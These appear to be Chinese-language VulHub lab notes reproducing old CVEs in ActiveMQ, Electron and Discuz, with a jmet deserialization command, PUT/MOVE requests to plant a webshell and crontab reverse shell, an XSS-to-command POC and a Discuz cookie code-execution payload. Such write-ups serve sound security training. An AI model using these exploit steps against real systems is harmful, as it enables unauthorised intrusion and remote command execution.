VulHub靶场积累
Activemq
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
- 其使用率并不高
- 文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
ActiveMQ 反序列化漏洞(CVE-2015-5254)
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问
http://your-ip:8161
即可看到web管理页面,不过这个漏洞理论上是不需要web的。
漏洞利用过程如下:
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面,读取消息,触发漏洞
使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616 |
1 | http://192.168.116.129:8161/admin/browse.jsp?JMSDestination=event |
登录对应的管理面板点击对应的消息队列
在docker环境下查看,成功创建了文件,说明执行shell成功了
ActiveMQ任意文件写入漏洞(CVE-2016-3088)
影响范围
ActiveMQ < 5.12.x
ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
背景简述
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
- 其使用率并不高
- 文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
漏洞利用
1、写入webshell
默认的ActiveMQ账号密码均为admin
,首先访问http://your-ip:8161/admin/test/systemProperties.jsp
,查看ActiveMQ的绝对路径:
然后利用fileserver传入webshell(请求返回204则成功)
1 | PUT /fileserver/2.txt |
将上传的webshell移动到activemq的对应api目录下面
1 | MOVE /fileserver/2.txt |
2、写入任务计划,自动化反弹shell
前提:root权限
系统级crontab
1 | PUT /fileserver/1.txt |
记得最后的一定要是\n而不是\r\n否则会失败(复现的时候卡这里很久)
然后写入
1 | MOVE /fileserver/1.txt |
等待反弹
用户级别crontab
上传同上,
1 | PUT /fileserver/1.txt |
1 | MOVE /fileserver/1.txt |
等待反弹,需要等久点,任务计划会定期扫描,刚写进去不一定能生效。
Electron
Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
Electron WebPreferences 远程命令执行漏洞(CVE-2018-15685)
Electron在设置了
nodeIntegration=false
的情况下(默认),页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制,导致在用户可执行JavaScript的情况下(如访问第三方页面或APP存在XSS漏洞时),能够执行任意命令。
POC:
1 | <img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');"> |
Discuz
Discuz开源社交建站系统,超过300万站长使用,全球成熟度最高、覆盖率最大的建站系统之一
Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。
具体原理请参考:
漏洞环境
执行如下命令启动Discuz 7.2:
1 | docker compose up -d |
启动后,访问http://your-ip:8080/install/
来安装discuz,数据库地址填写db
,数据库名为discuz
,数据库账号密码均为root
。
漏洞复现
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
:
1 | GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1 |
可见,phpinfo已成功执行:
网上文章说需要一个带表情评论的帖子,实际测试发现并不需要,这块仍需阅读代码来解释原因。